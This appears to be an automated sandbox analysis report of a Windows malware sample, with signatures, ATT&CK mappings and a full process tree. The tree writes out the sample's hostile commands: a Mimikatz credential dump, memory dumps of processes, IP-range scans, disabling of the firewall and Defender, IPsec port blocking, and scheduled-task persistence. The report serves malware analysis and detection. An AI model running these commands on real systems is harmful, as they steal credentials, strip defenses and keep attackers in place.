Analysis
- max time kernel
150s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
16/04/2026, 22:29
General
- Target 2026-04-16_f1f425a32b2c4c024525fb366a7655d5_amadey_cloudeye_coinminer_elex_emotet_glassworm_hacktool.exe
- Size 8.2MB
- Sample260416-2eav6afs71
- SHA256 d7d7070e760ee15d4ad95784b1acd57c7924648a32495188549cf30f0bc9ca31
Score
10/10
Malware Config
Signatures
- Family: Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
- mimikatz is an open source tool to dump credentials on Windows 5 IoCs
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- Custom signatureDetects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
- OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
- Custom signatureUPX dump on OEP (original entry point) 39 IoCs
- XMRig Miner payload 12 IoCs
- Drops file in Drivers directory 3 IoCs
- Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Disables service(s) 3 TTPs
- Executes dropped EXE 29 IoCs
- Loads dropped DLL 12 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- Creates a Windows Service
- Drops file in System32 directory 18 IoCs
- UPX packed file 35 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 3 IoCs
- Drops file in Windows directory 60 IoCs
- Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- NSIS installer 3 IoCs
- Modifies data under HKEY_USERS 41 IoCs
- Modifies registry class 14 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 15 IoCs
- Suspicious behavior: RenamesItself 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of SetWindowsHookEx 12 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\TEMP\gbzbzqtcv\bfqtzw.exe"C:\Windows\TEMP\gbzbzqtcv\bfqtzw.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\2026-04-16_f1f425a32b2c4c024525fb366a7655d5_amadey_cloudeye_coinminer_elex_emotet_glassworm_hacktool.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-16_f1f425a32b2c4c024525fb366a7655d5_amadey_cloudeye_coinminer_elex_emotet_glassworm_hacktool.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\eqybyqqv\uibqniq.exe2⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\eqybyqqv\uibqniq.exeC:\Windows\eqybyqqv\uibqniq.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\eqybyqqv\uibqniq.exeC:\Windows\eqybyqqv\uibqniq.exe1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static del all2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add policy name=Bastards description=FuckingBastards2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filteraction name=BastardsList action=block2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\fbcelyyfy\erteeqsqb\wpcap.exe /S2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\fbcelyyfy\erteeqsqb\wpcap.exeC:\Windows\fbcelyyfy\erteeqsqb\wpcap.exe /S3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet stop "Boundary Meter"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Boundary Meter"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop "TrueSight Meter"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "TrueSight Meter"5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet stop npf4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop npf5⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\net.exenet start npf4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf5⤵
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net start npf2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet start npf3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start npf4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\fbcelyyfy\erteeqsqb\fqdlgzzqi.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\fbcelyyfy\erteeqsqb\Scant.txt2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\fbcelyyfy\erteeqsqb\fqdlgzzqi.exeC:\Windows\fbcelyyfy\erteeqsqb\fqdlgzzqi.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\fbcelyyfy\erteeqsqb\Scant.txt3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c C:\Windows\fbcelyyfy\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\fbcelyyfy\Corporate\log.txt2⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\fbcelyyfy\Corporate\vfshost.exeC:\Windows\fbcelyyfy\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "czznyftrt" /ru system /tr "cmd /c C:\Windows\ime\uibqniq.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "czznyftrt" /ru system /tr "cmd /c C:\Windows\ime\uibqniq.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fqbqvibse" /ru system /tr "cmd /c echo Y|cacls C:\Windows\eqybyqqv\uibqniq.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "fqbqvibse" /ru system /tr "cmd /c echo Y|cacls C:\Windows\eqybyqqv\uibqniq.exe /p everyone:F"3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "vblfzymei" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\gbzbzqtcv\bfqtzw.exe /p everyone:F"2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "vblfzymei" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\gbzbzqtcv\bfqtzw.exe /p everyone:F"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP2⤵
- Event Triggered Execution: Netsh Helper DLL
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\netsh.exenetsh ipsec static set policy name=Bastards assign=y2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop SharedAccess2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net.exenet stop SharedAccess3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SharedAccess4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh firewall set opmode mode=disable2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh firewall set opmode mode=disable3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c netsh Advfirewall set allprofiles state off2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\netsh.exenetsh Advfirewall set allprofiles state off3⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop MpsSvc2⤵
-
C:\Windows\SysWOW64\net.exenet stop MpsSvc3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop MpsSvc4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop WinDefend2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop WinDefend3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WinDefend4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c net stop wuauserv2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\net.exenet stop wuauserv3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv4⤵
- System Location Discovery: System Language Discovery
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config MpsSvc start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config MpsSvc start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config SharedAccess start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config SharedAccess start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config WinDefend start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c sc config wuauserv start= disabled2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\TEMP\xohudmc.exeC:\Windows\TEMP\xohudmc.exe2⤵
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 792 C:\Windows\TEMP\fbcelyyfy\792.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c C:\Windows\fbcelyyfy\erteeqsqb\scan.bat2⤵
-
C:\Windows\fbcelyyfy\erteeqsqb\bbwevqyyg.exebbwevqyyg.exe TCP 85.203.0.1 445 512 /save3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Windows\fbcelyyfy\erteeqsqb\bbwevqyyg.exebbwevqyyg.exe TCP 85.203.255.255 445 512 /save3⤵
- Executes dropped EXE
-
-
C:\Windows\fbcelyyfy\erteeqsqb\bbwevqyyg.exebbwevqyyg.exe TCP 10.127.0.1 10.127.255.255 445 512 /save3⤵
- Executes dropped EXE
- Drops file in Windows directory
-
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 876 C:\Windows\TEMP\fbcelyyfy\876.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 448 C:\Windows\TEMP\fbcelyyfy\448.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 2272 C:\Windows\TEMP\fbcelyyfy\2272.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 3032 C:\Windows\TEMP\fbcelyyfy\3032.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 2892 C:\Windows\TEMP\fbcelyyfy\2892.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 3560 C:\Windows\TEMP\fbcelyyfy\3560.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 3652 C:\Windows\TEMP\fbcelyyfy\3652.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 3716 C:\Windows\TEMP\fbcelyyfy\3716.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 3808 C:\Windows\TEMP\fbcelyyfy\3808.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 4644 C:\Windows\TEMP\fbcelyyfy\4644.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 1212 C:\Windows\TEMP\fbcelyyfy\1212.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 3160 C:\Windows\TEMP\fbcelyyfy\3160.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 5964 C:\Windows\TEMP\fbcelyyfy\5964.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 5076 C:\Windows\TEMP\fbcelyyfy\5076.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exeC:\Windows\TEMP\fbcelyyfy\zrvmbblbq.exe -accepteula -mp 2376 C:\Windows\TEMP\fbcelyyfy\2376.dmp2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.execmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D users3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D administrators3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cacls.execacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\system32\cmd.execmd1⤵
-
C:\Windows\SysWOW64\varpas.exeC:\Windows\SysWOW64\varpas.exe1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\eqybyqqv\uibqniq.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\eqybyqqv\uibqniq.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\uibqniq.exe1⤵
-
C:\Windows\ime\uibqniq.exeC:\Windows\ime\uibqniq.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\gbzbzqtcv\bfqtzw.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\gbzbzqtcv\bfqtzw.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\eqybyqqv\uibqniq.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\eqybyqqv\uibqniq.exe /p everyone:F2⤵
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c C:\Windows\ime\uibqniq.exe1⤵
-
C:\Windows\ime\uibqniq.exeC:\Windows\ime\uibqniq.exe2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\cmd.EXEC:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\gbzbzqtcv\bfqtzw.exe /p everyone:F1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo Y"2⤵
-
-
C:\Windows\system32\cacls.execacls C:\Windows\TEMP\gbzbzqtcv\bfqtzw.exe /p everyone:F2⤵
-
Network
MITRE ATT&CK Enterprise v16
Execution
Scheduled Task/Job
1Scheduled Task
1System Services
1Service Execution
1Persistence
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Discovery
Network Service Discovery
1Network Share Discovery
1Query Registry
1Remote System Discovery
1System Information Discovery
1System Location Discovery
1System Language Discovery
1System Network Configuration Discovery
1Internet Connection Discovery
1Replay Monitor
Loading Replay Monitor...
Downloads
Packet.dll
wpcap.dll
2272.dmp
2892.dmp
3032.dmp
3560.dmp
3652.dmp
3716.dmp
3808.dmp
4644.dmp
792.dmp
876.dmp
config.json
zrvmbblbq.exe
bfqtzw.exe
System.dll
nsExec.dll
xohudmc.exe
uibqniq.exe
vfshost.exe
bbwevqyyg.exe
fqdlgzzqi.exe
ip.txt
scan.bat
wpcap.exe
hosts
memory/748-243-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/748-244-0x000001CF22970000-0x000001CF2297C000-memory.dmp
memory/764-272-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/932-252-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/1176-266-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1176-270-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1176-246-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1176-288-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1176-209-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1176-185-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1176-256-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1176-188-0x0000026B069A0000-0x0000026B069B0000-memory.dmp
memory/1176-233-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1176-204-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1176-293-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1176-283-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1176-298-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1176-276-0x00007FF6120F0000-0x00007FF612210000-memory.dmp
memory/1676-199-0x00007FF7F88F0000-0x00007FF7F894B000-memory.dmp
memory/1832-179-0x0000000000400000-0x0000000000412000-memory.dmp
memory/1832-149-0x0000000010000000-0x0000000010008000-memory.dmp
